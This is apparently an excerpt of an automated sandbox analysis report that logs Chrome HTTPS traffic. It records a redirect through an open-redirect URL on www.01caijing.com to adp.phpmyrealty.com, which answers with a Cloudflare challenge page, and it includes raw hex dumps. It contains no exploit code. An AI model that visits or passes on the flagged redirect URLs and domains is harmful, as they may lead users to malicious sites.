20 06 03 55 04 0a 13 19 47 6f 6f 67 6c 65 20 54 72 75 73 74 20 53 65 72 76 69 63 65 73 20 4c 4c 43 31 14 30 12 06 03 55 04 03 13 0b 47 54 53 20 52 6f 6f 74 20 52 34 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 17 0d 32 36 30 32 32 38 30 37 35 39 35 39 5a 30 81 e9 30 2f 02 10 6e 47 a9 ce 4f 46 c2 3d e2 49 ea cc 38 94 53 73 17 0d 31 39 30 39 33 30 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 f0 9c 5b 70 05 a6 dc 86 e2 f9 9e f3 17 0d 32 30 30 31 33 31 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 01 fe a5 81 44 7e 3b fd 3b b8 1c 24 98 17 0d 32 33 30 36 31 33 30 30 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 16 68 25 e1 70 04 40 61 24 91 f5 40 17 0d 32 35 30 34 30 33 30 38 30 30 30 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 2c 02 0d 02 00 8e b2 58 e7 b5 94 0c 1f f9 00 44 17 0d 32 35 30 [TRUNCATED] Data Ascii: 000H=0G10UUS1"0 UGoogle Trust Services LLC10UGTS Root R4250403080000Z260228075959Z00/nGOF=I8Ss190930000000Z00U0,[p200131000000Z00U0,D~;;$230613000000Z00U0,h%p@a$@250403080000Z00U0,XD250403080000Z00U/0-0U0U#0LtI6>j0H=i0f1>2en:IN@g=;bQZ~`NX1?^4y[$\4{;$zDeU6O

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49701	182.92.145.92	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:03 UTC	776	OUT	GET /weapons/visit.htm?go=http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u HTTP/1.1 Host: www.01caijing.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:03 UTC	287	IN	HTTP/1.1 302 Found Server: nginx Date: Mon, 28 Apr 2025 07:04:03 GMT Content-Length: 0 Connection: close Set-Cookie: JSESSIONID=DC954476E36E5B4A3BF4A1BEEF99FB1D; Path=/; HttpOnly Location: http://adp.phpmyrealty.com/sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49703	172.67.215.23	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:03 UTC	730	OUT	GET /sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u HTTP/1.1 Host: adp.phpmyrealty.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:04 UTC	1358	IN	HTTP/1.1 403 Forbidden Date: Mon, 28 Apr 2025 07:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cf-Ray: 9374b4126b06598b-PHX Server: cloudflare Accept-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cf-Mitigated: challenge Critical-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin Server-Timing: chlray;desc="9374b4126b06598b" X-Content-Type-Options: nosniff
2025-04-28 07:04:04 UTC	751	IN	Data Raw: 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 31 20 47 4d 54 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 25 32 46 55 66 68 38 6a 73 Data Ascii: X-Frame-Options: SAMEORIGINCache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FUfh8js
2025-04-28 07:04:04 UTC	629	IN	Data Raw: 31 65 38 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 1e86<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2025-04-28 07:04:04 UTC	1369	IN	Data Raw: 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 35 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 72 65 6d 7d 7d 2e 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 32 35 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 68 32 7b 66 Data Ascii: direction:column;height:100vh;min-height:100vh}.main-content{margin:8rem auto;max-width:60rem;padding-left:1.5rem}@media (width <= 720px){.main-content{margin-top:4rem}}.h2{font-size:1.5rem;font-weight:500;line-height:2.25rem}@media (width <= 720px){.h2{f
2025-04-28 07:04:04 UTC	1369	IN	Data Raw: 3d 7b 63 76 49 64 3a 20 27 33 27 2c 63 5a 6f 6e 65 3a 20 22 61 64 70 2e 70 68 70 6d 79 72 65 61 6c 74 79 2e 63 6f 6d 22 2c 63 54 79 70 65 3a 20 27 6d 61 6e 61 67 65 64 27 2c 63 52 61 79 3a 20 27 39 33 37 34 62 34 31 32 36 62 30 36 35 39 38 62 27 2c 63 48 3a 20 27 56 6b 65 47 35 6a 55 47 68 48 46 49 69 4e 74 6e 5a 44 30 58 65 52 49 59 61 31 58 6e 39 59 43 45 65 74 6c 43 58 62 49 71 59 4b 63 2d 31 37 34 35 38 32 33 38 34 34 2d 31 2e 32 2e 31 2e 31 2d 42 49 4a 50 53 51 35 68 35 46 5f 35 30 41 73 78 6e 77 5a 79 6a 58 51 5f 67 59 43 79 6d 44 47 31 55 63 57 65 75 35 39 59 47 66 58 4b 77 54 78 6a 49 44 67 65 52 57 6f 54 75 32 75 42 4b 44 73 4d 27 2c 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 73 6b 31 37 46 65 35 66 61 6e 64 79 39 73 46 65 35 79 66 72 69 32 50 46 65 35 Data Ascii: ={cvId: '3',cZone: "adp.phpmyrealty.com",cType: 'managed',cRay: '9374b4126b06598b',cH: 'VkeG5jUGhHFIiNtnZD0XeRIYa1Xn9YCEetlCXbIqYKc-1745823844-1.2.1.1-BIJPSQ5h5F_50AsxnwZyjXQ_gYCymDG1UcWeu59YGfXKwTxjIDgeRWoTu2uBKDsM',cUPMDTk: "\/sk17Fe5fandy9sFe5yfri2PFe5
2025-04-28 07:04:04 UTC	1369	IN	Data Raw: 57 58 59 4e 70 48 50 37 48 6d 56 63 34 30 77 30 45 34 36 38 6e 38 44 41 6c 69 6a 61 57 78 31 7a 79 31 2e 6c 77 6d 65 54 6e 53 44 62 71 61 4f 65 61 65 71 6b 6b 6a 2e 47 75 5a 4d 51 38 76 76 6f 4d 59 7a 34 56 79 61 35 75 7a 6b 4c 70 35 46 4c 67 59 6b 68 38 4d 6d 32 4a 79 4d 44 62 56 4d 63 76 73 5a 57 47 39 54 55 61 32 5a 75 5a 51 63 4b 36 79 53 2e 78 7a 38 44 78 74 53 49 31 6c 59 53 79 64 52 4a 32 4c 48 31 41 75 4f 75 32 46 75 47 43 52 6a 44 31 49 78 64 51 58 57 45 68 6c 5f 65 46 64 65 6b 69 43 4d 4d 33 7a 42 71 63 48 55 41 6e 32 43 51 66 7a 6e 4c 30 50 71 7a 58 37 6b 49 63 6f 59 41 55 39 32 79 39 6d 32 31 61 78 68 52 58 4f 58 76 39 62 6b 56 57 38 71 33 75 36 45 59 67 59 55 31 33 52 5f 71 2e 53 74 69 44 36 66 42 34 64 6f 69 76 6d 59 66 53 53 30 59 6f 36 6b Data Ascii: WXYNpHP7HmVc40w0E468n8DAlijaWx1zy1.lwmeTnSDbqaOeaeqkkj.GuZMQ8vvoMYz4Vya5uzkLp5FLgYkh8Mm2JyMDbVMcvsZWG9TUa2ZuZQcK6yS.xz8DxtSI1lYSydRJ2LH1AuOu2FuGCRjD1IxdQXWEhl_eFdekiCMM3zBqcHUAn2CQfznL0PqzX7kIcoYAU92y9m21axhRXOXv9bkVW8q3u6EYgYU13R_q.StiD6fB4doivmYfSS0Yo6k
2025-04-28 07:04:04 UTC	1369	IN	Data Raw: 64 45 30 48 6f 39 5f 44 56 74 43 79 6b 4e 6e 39 68 57 53 47 76 36 35 52 66 33 4f 63 4e 4b 34 62 67 4d 5f 38 4c 63 6f 69 54 7a 68 63 49 59 64 35 31 46 70 4c 33 48 63 70 30 66 4b 75 48 75 36 4e 34 36 34 50 31 41 58 59 51 57 79 68 64 68 41 4d 75 6e 48 54 32 6f 6a 49 6c 5f 79 63 47 79 4e 55 36 37 6c 71 6b 55 47 35 4b 6f 4f 44 70 30 5f 41 71 58 6b 78 6c 6e 53 38 68 56 5a 5a 44 74 6c 52 58 65 47 45 55 42 6e 53 4e 52 65 77 73 56 38 69 6a 50 71 36 54 66 46 7a 4d 6f 53 55 4e 74 51 63 2e 67 37 70 72 68 49 52 5f 51 52 39 73 37 77 49 6e 61 79 45 63 44 59 33 63 4e 48 63 46 38 44 6c 55 51 4c 57 35 7a 5f 76 7a 30 68 51 65 6a 42 67 39 53 70 6d 51 6e 54 78 6d 47 77 46 6f 6a 64 38 54 52 42 41 78 78 72 45 42 57 63 74 79 68 45 6e 55 61 7a 41 32 4f 65 2e 55 5f 41 73 44 39 47 Data Ascii: dE0Ho9_DVtCykNn9hWSGv65Rf3OcNK4bgM_8LcoiTzhcIYd51FpL3Hcp0fKuHu6N464P1AXYQWyhdhAMunHT2ojIl_ycGyNU67lqkUG5KoODp0_AqXkxlnS8hVZZDtlRXeGEUBnSNRewsV8ijPq6TfFzMoSUNtQc.g7prhIR_QR9s7wInayEcDY3cNHcF8DlUQLW5z_vz0hQejBg9SpmQnTxmGwFojd8TRBAxxrEBWctyhEnUazA2Oe.U_AsD9G
2025-04-28 07:04:04 UTC	1369	IN	Data Raw: 32 72 35 44 32 66 68 76 2e 4a 76 59 69 76 6a 67 69 39 4d 57 32 59 6e 47 65 54 5a 74 37 6b 68 4b 37 45 66 64 59 49 4e 4e 4a 65 4a 54 69 66 6f 66 61 79 6b 42 31 73 68 75 67 48 49 66 5f 74 50 56 30 6d 46 67 6f 4d 34 6b 61 49 62 78 58 4d 4a 49 47 36 51 2e 35 48 6b 75 34 39 59 45 52 5f 59 34 5a 6b 4b 42 37 65 53 47 35 6c 55 65 75 79 57 33 50 48 39 6d 62 62 56 49 4c 65 55 65 7a 42 67 33 32 48 4e 59 2e 64 33 49 59 36 72 65 58 41 52 4d 64 7a 57 51 42 4f 37 47 36 71 62 44 31 56 32 4e 35 5a 73 32 69 43 75 64 70 41 64 35 39 31 72 4f 38 58 56 6d 52 5f 52 4a 68 36 62 31 61 77 30 34 4b 55 71 4d 4d 37 72 35 72 53 48 4f 59 62 65 48 63 71 78 68 5a 57 41 37 36 64 46 55 37 36 53 66 50 5a 4a 70 4f 67 56 6a 6f 47 45 7a 4b 77 66 41 4b 52 6a 7a 46 4c 55 56 74 42 72 41 38 43 69 Data Ascii: 2r5D2fhv.JvYivjgi9MW2YnGeTZt7khK7EfdYINNJeJTifofaykB1shugHIf_tPV0mFgoM4kaIbxXMJIG6Q.5Hku49YER_Y4ZkKB7eSG5lUeuyW3PH9mbbVILeUezBg32HNY.d3IY6reXARMdzWQBO7G6qbD1V2N5Zs2iCudpAd591rO8XVmR_RJh6b1aw04KUqMM7r5rSHOYbeHcqxhZWA76dFU76SfPZJpOgVjoGEzKwfAKRjzFLUVtBrA8Ci
2025-04-28 07:04:04 UTC	348	IN	Data Raw: 32 50 46 65 35 64 78 30 71 64 61 69 32 50 69 32 50 73 33 52 68 69 32 50 2d 73 61 6e 6b 79 57 4f 33 64 79 39 46 65 35 75 3f 5f 5f 63 66 5f 63 68 6c 5f 72 74 5f 74 6b 3d 36 7a 37 44 66 65 2e 30 74 74 7a 58 30 79 6b 73 5f 32 38 66 77 6a 6b 6e 54 74 2e 34 6f 55 72 54 4c 64 53 58 59 57 6f 49 46 45 38 2d 31 37 34 35 38 32 33 38 34 34 2d 31 2e 30 2e 31 2e 31 2d 66 75 78 61 36 74 62 30 6d 5f 57 71 56 35 73 35 78 38 51 7a 6c 42 37 50 6d 6c 35 36 67 4e 5a 6f 32 35 53 4c 6e 6a 64 39 74 44 41 22 20 2b 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 63 4f 67 55 48 61 73 68 29 3b 63 70 6f 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 28 6e 75 6c 6c 2c 20 6e 75 6c 6c 2c 20 6f 67 Data Ascii: 2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u?__cf_chl_rt_tk=6z7Dfe.0ttzX0yks_28fwjknTt.4oUrTLdSXYWoIFE8-1745823844-1.0.1.1-fuxa6tb0m_WqV5s5x8QzlB7Pml56gNZo25SLnjd9tDA" + window._cf_chl_opt.cOgUHash);cpo.onload = function() {history.replaceState(null, null, og
2025-04-28 07:04:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49704	172.67.215.23	443	6240	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-28 07:04:04 UTC	1000	OUT	GET /sk17Fe5fandy9sFe5yfri2PFe5dx0qdai2Pi2Ps3Rhi2P-sankyWO3dy9Fe5u HTTP/1.1 Host: adp.phpmyrealty.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "134.0.6998.36" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36" Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-28 07:04:04 UTC	1358	IN	HTTP/1.1 403 Forbidden Date: Mon, 28 Apr 2025 07:04:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cf-Ray: 9374b4166e99d2c0-PHX Server: cloudflare Accept-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cf-Mitigated: challenge Critical-Ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Origin-Agent-Cluster: ?1 Permissions-Policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() Referrer-Policy: same-origin Server-Timing: chlray;desc="9374b4166e99d2c0" X-Content-Type-Options: nosniff
2025-04-28 07:04:04 UTC	753	IN	Data Raw: 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 70 6f 73 74 2d 63 68 65 63 6b 3d 30 2c 20 70 72 65 2d 63 68 65 63 6b 3d 30 0d 0a 45 78 70 69 72 65 73 3a 20 54 68 75 2c 20 30 31 20 4a 61 6e 20 31 39 37 30 20 30 30 3a 30 30 3a 30 31 20 47 4d 54 0d 0a 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 6c 47 4f 63 30 5a 25 32 42 Data Ascii: X-Frame-Options: SAMEORIGINCache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Expires: Thu, 01 Jan 1970 00:00:01 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lGOc0Z%2B
2025-04-28 07:04:04 UTC	627	IN	Data Raw: 31 66 30 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d Data Ascii: 1f06<!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name=
2025-04-28 07:04:04 UTC	1369	IN	Data Raw: 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 7d 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 38 72 65 6d 20 61 75 74 6f 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 72 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 35 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 6d 61 69 6e 2d 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 72 65 6d 7d 7d 2e 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 32 35 72 65 6d 7d 40 6d 65 64 69 61 20 28 77 69 64 74 68 20 3c 3d 20 37 32 30 70 78 29 7b 2e 68 32 Data Ascii: x-direction:column;height:100vh;min-height:100vh}.main-content{margin:8rem auto;max-width:60rem;padding-left:1.5rem}@media (width <= 720px){.main-content{margin-top:4rem}}.h2{font-size:1.5rem;font-weight:500;line-height:2.25rem}@media (width <= 720px){.h2
2025-04-28 07:04:04 UTC	1369	IN	Data Raw: 70 74 3d 7b 63 76 49 64 3a 20 27 33 27 2c 63 5a 6f 6e 65 3a 20 22 61 64 70 2e 70 68 70 6d 79 72 65 61 6c 74 79 2e 63 6f 6d 22 2c 63 54 79 70 65 3a 20 27 6d 61 6e 61 67 65 64 27 2c 63 52 61 79 3a 20 27 39 33 37 34 62 34 31 36 36 65 39 39 64 32 63 30 27 2c 63 48 3a 20 27 5f 6a 39 31 74 62 63 4b 72 50 7a 41 30 5f 34 57 50 58 31 38 42 33 74 6e 71 6f 35 57 68 4d 74 62 6d 6f 69 71 69 55 74 53 66 43 30 2d 31 37 34 35 38 32 33 38 34 34 2d 31 2e 32 2e 31 2e 31 2d 68 66 5f 46 4d 79 71 4e 37 44 4c 41 42 75 32 41 61 71 44 35 70 61 50 58 68 43 76 6d 49 71 4d 45 70 53 64 35 56 69 38 6c 64 2e 4f 45 49 67 4a 6e 50 38 59 58 6e 65 48 32 5a 45 75 45 4d 75 49 33 27 2c 63 55 50 4d 44 54 6b 3a 20 22 5c 2f 73 6b 31 37 46 65 35 66 61 6e 64 79 39 73 46 65 35 79 66 72 69 32 50 46 Data Ascii: pt={cvId: '3',cZone: "adp.phpmyrealty.com",cType: 'managed',cRay: '9374b4166e99d2c0',cH: '_j91tbcKrPzA0_4WPX18B3tnqo5WhMtbmoiqiUtSfC0-1745823844-1.2.1.1-hf_FMyqN7DLABu2AaqD5paPXhCvmIqMEpSd5Vi8ld.OEIgJnP8YXneH2ZEuEMuI3',cUPMDTk: "\/sk17Fe5fandy9sFe5yfri2PF
2025-04-28 07:04:04 UTC	1369	IN	Data Raw: 63 30 55 78 72 6b 5f 41 4a 73 50 55 36 37 6a 75 39 79 44 33 72 67 6c 73 45 43 48 63 54 6a 4e 54 48 70 6e 31 75 46 31 6b 34 51 70 55 46 4b 39 54 78 55 6e 62 73 71 37 57 65 77 48 2e 7a 31 57 2e 58 48 48 32 7a 36 45 4b 70 47 45 30 79 72 79 46 78 6c 69 4e 34 56 49 58 57 53 79 31 36 51 4c 6d 30 47 4d 56 59 46 36 61 44 46 49 66 77 74 39 6a 5a 39 67 73 4b 4c 45 73 4c 33 4e 41 74 4c 30 58 78 4e 63 4d 45 4c 5a 41 79 53 43 43 62 59 49 34 4d 58 4f 66 5f 6d 52 43 6c 37 6e 6a 6f 33 4b 52 46 52 68 58 32 67 34 4c 6e 61 37 69 43 75 31 5a 47 58 6a 5a 6d 63 49 46 7a 7a 37 55 54 41 45 70 5f 48 36 52 6c 52 59 44 62 41 67 41 59 47 4e 4d 69 5a 62 62 58 63 55 4f 6b 37 73 4a 50 30 53 33 47 4e 69 5a 37 38 37 34 74 50 58 65 58 36 67 71 73 4e 63 69 43 6f 4b 78 4c 41 56 2e 46 39 32 Data Ascii: 